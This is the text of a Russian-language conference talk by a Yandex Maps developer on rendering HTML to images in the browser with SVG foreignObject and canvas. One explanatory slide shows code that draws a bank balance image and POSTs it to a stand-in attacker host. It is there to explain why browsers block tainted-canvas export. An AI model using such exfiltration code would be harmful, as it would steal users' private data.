Рендер HTML в картинку на клиенте

Андрей Роенко, Яндекс

Рендер HTML в картинку на клиенте

Карты

Андрей Роенко, Разработчик интерфейсов API Яндекс.Карт

Преамбула

Преамбула

Преамбула

Преамбула

Преамбула

Преамбула

Преамбула

(всего 21 штука)

Преамбула

Преамбула

Чем можно рендерить HTML?

Браузер на сервере

Браузер на сервере

html2canvas

html2canvas

html2canvas

function renderElement(el) {
    const style = getComputedStyle(el);
    const rect = el.getBoundingClientRect();

    // background
    canvas.fillStyle = style.background;
    canvas.fillRect(rect);

    // ...
}

html2canvas

Браузер пользователя

Браузер пользователя

Диаграмма

SVG foreignObject

SVG foreignObject

Элемент foreignObject позволяет вставлять элементы из другого неймспейса, которые будут отрисованы другим юзер агентом.

SVG 1.1, 23.2 Embedding foreign object types

SVG foreignObject

SVG foreignObject

skeleton.svg

<svg width="400" height="400"
     xmlns="http://www.w3.org/2000/svg">
     <foreignObject width="100%" height="100%">
        <body xmlns="http://www.w3.org/1999/xhtml">

            <!-- HTML -->

        </body>
     </foreignObject>
</svg>

Документ внутри foreignObject

<svg width="400" height="400"
     xmlns="http://www.w3.org/2000/svg">
     <foreignObject width="100%" height="100%">
        <body xmlns="http://www.w3.org/1999/xhtml">
            <h1><b>Hi</b> there!</h1>
        </body>
     </foreignObject>
</svg>

Стили внутри foreignObject

<svg width="400" height="400"
     xmlns="http://www.w3.org/2000/svg">
     <foreignObject width="100%" height="100%">
        <body xmlns="http://www.w3.org/1999/xhtml"
             style="height: 100%;
               font-size: 96px;
               background: linear-gradient(45deg,
                 rgba(255,255,255,1) 0%, rgba(0,0,0,1) 100%);">
            <b>Hi</b> there!
        </body>
     </foreignObject>
</svg>

Стили внутри foreignObject

<svg width="400" height="400"
     xmlns="http://www.w3.org/2000/svg">
     <foreignObject width="100%" height="100%">
        <body xmlns="http://www.w3.org/1999/xhtml"
             class="wrapper">
            <b>Hi</b> there!
        </body>
        <style>
            .wrapper {
                background: linear-gradient(45deg,
                    rgba(255,255,255,1) 0%, rgba(0,0,0,1) 100%);
                font-size: 96px;
                height: 100%;
            }
        </style>
     </foreignObject>
</svg>

Стили внутри foreignObject

О чем надо помнить

А если inline svg?

Ок, но где PNG?

SVG в PNG

const img = new Image();
img.src = 'data:image/svg+xml;charset=utf8,<svg ...';

img.onload = () => {
    const ctx = canvas.getContext('2d');
    ctx.drawImage(img, 0, 0);
    canvas.toDataURL();
    // или canvas.toBlob(blob => /* ... */);
};

Рендер элементов из документа

Рендер элементов из документа

Рендер элементов из документа

Рендер элементов из документа

Рендер элементов из документа

function render(node) {
  const html = new XMLSerializer().serializeToString(node);
  const svg = `
    <svg>
      <foreignObject>
        ${html}
      </foreignObject>
    </svg>
  `;
  // ...
}

Ограничения

  1. Нет документа и CSS-контекста

1. Нет документа и CSS контекста

<style>
  .data .target { color: red; }
</style>
<div class="data">
  <h1 class="target">Must be red.</h1>
</div>

<h1 class="target">Must be red.</h1>

1. Нет документа и CSS контекста

<style>
  .data .target { color: red; }
</style>
<div class="data">
  <h1 class="target">Must be red.</h1>
</div>

getComputedStyle().cssText

<div style="/* ... */ color: red; /* ... */">Must be red.</div>

2. Нельзя использовать <canvas>

<canvas id="blackSquare" width="200" height="200"></canvas>

<canvas id="blackSquare" width="200" height="200"></canvas>

2. Нельзя использовать <canvas>

<canvas id="blackSquare" width="200" height="200"></canvas>

const dataUri = blackSquare.toDataURL();

<div style="background-image: url('data:image/png;...')"></div>

2. Нельзя использовать <canvas>

<canvas id="blackSquare" width="200" height="200"></canvas>

const dataUri = blackSquare.toDataURL();
// SecurityError: Tainted canvases may not be exported.

Tainted canvases may not be exported

Tainted canvases may not be exported

const img = new Image();
img.src = 'hugebank.com/online/balance.png';

context2d.drawImage(img, 0, 0);
const balance = canvas.toDataURL();
fetch('we-steal-balances.com/evil', { method: 'POST', body: balance });

Tainted canvases may not be exported

const img = new Image();
img.src = 'hugebank.com/online/balance.png';

context2d.drawImage(img, 0, 0);
const balance = canvas.toDataURL();
// SecurityError: Tainted canvases may not be exported.

fetch('we-steal-balances.com/evil', { method: 'POST', body: balance });

Tainted canvases may not be exported

Что говорит спецификация:

У картинок и канвасов есть специальный флаг origin-clean, по умолчанию равный true.

Флаг у картинок устанавливается в false, если картинка была загружена с другого домена.

Флаг у канваса устанавливается в false, если на нем была отрисована картинка с origin-clean = false.

Методы toDataURL, toBlob и getImageData выбрасывают SecurityError если origin-clean у канваса был установлен в false.

Tainted canvases may not be exported

Что говорит спецификация:

Tainted canvases may not be exported

const img = new Image();                     // img.origin-clean = true
img.src = 'hugebank.com/online/balance.png'; // img.origin-clean = false

context2d.drawImage(img, 0, 0);              // canvas.origin-clean = false
const balance = canvas.toDataURL();
// SecurityError: Tainted canvases may not be exported.

fetch('we-steal-balances.com/evil', { method: 'POST', body: balance });

Но очень хочется!

2. Нельзя использовать <canvas>

<canvas id="blackSquare" width="200" height="200"></canvas>

const dataUri = blackSquare.toDataURL();

<div style="background-image: url('data:image/png;...')"></div>

3. Нельзя использовать <img>

<img src="pictures/cat.png">

<img src="pictures/cat.png">

3. Нельзя использовать <img>

<img src="pictures/cat.png">

const img = new Image();
img.crossOrigin = 'Anonymous';
img.src = 'pictures/cat.png';
canvasContext.drawImage(img, 0, 0);
const dataUri = canvasContext.toDataURL();

<div style="background-image: url('data:image/png;...')"></div>

3. Нельзя использовать <img>

4. Content Security Policy и style nonce в Firefox

<meta http-equiv="Content-Security-Policy" content="style-src 'nonce-cafebabe'">
<style>
  .data .wrapper .foobar { color: red; }
</style>
<div class="foobar">stuff</div>

getComputedStyle().cssText

<div style="/* ... */ color: red; /* ... */ ">stuff</div>

WARNING: Content Secutiry Policy violation

4. Content Security Policy и style nonce в Firefox

<meta http-equiv="Content-Security-Policy" content="style-src 'nonce-cafebabe'">
<style>
  .data .wrapper .foobar { color: red; }
</style>
<div class="foobar">stuff</div>

getComputedStyle().cssText

<style nonce="cafebabe">
    .uid42 { /* ... */ color: red; /* ... */ }
</style>
<div class="uid42">stuff</div>

4. Content Security Policy и style nonce в Firefox

<meta http-equiv="Content-Security-Policy" content="style-src blob:">
<style>
  .data .wrapper .foobar { color: red; }
</style>
<div class="foobar">stuff</div>

getComputedStyle().cssText

<link rel="stylesheet" href="blob:ilikebigbitsandicannotlie">
<div class="uid42">stuff</div>

Рендер элементов из документа

function render(node) {
  node = inlineEverything(node);
  const html = new XMLSerializer().serializeToString(node);
  // ...
}

function inlineEverything(node) {
  const newNode = document.createElement(tagName);
  // ...
  return newNode;
}

Курсоры

Курсоры

Курсоры

Курсоры

Курсоры

Проблема

Еще проблемы

И еще проблемы

Результат

Поддержка форматов

  Chromiums Firefox Edge Safari Opera 12
data-uri
blob

Поддержка форматов

  Chromiums Firefox Edge Safari Opera 12
image/svg+xml
image/png
image/jpg
image/webp

Баги

Больше багов

Еще больше багов

Нерешенные вопросы

Мощность

9 КБ min
3.3 КБ gzip

github.com/
flapenguin/carbonite

github.com/
flapenguin/carbonite

Контакты

Андрей Роенко

Разработчик интерфейсов API Яндекс.Карт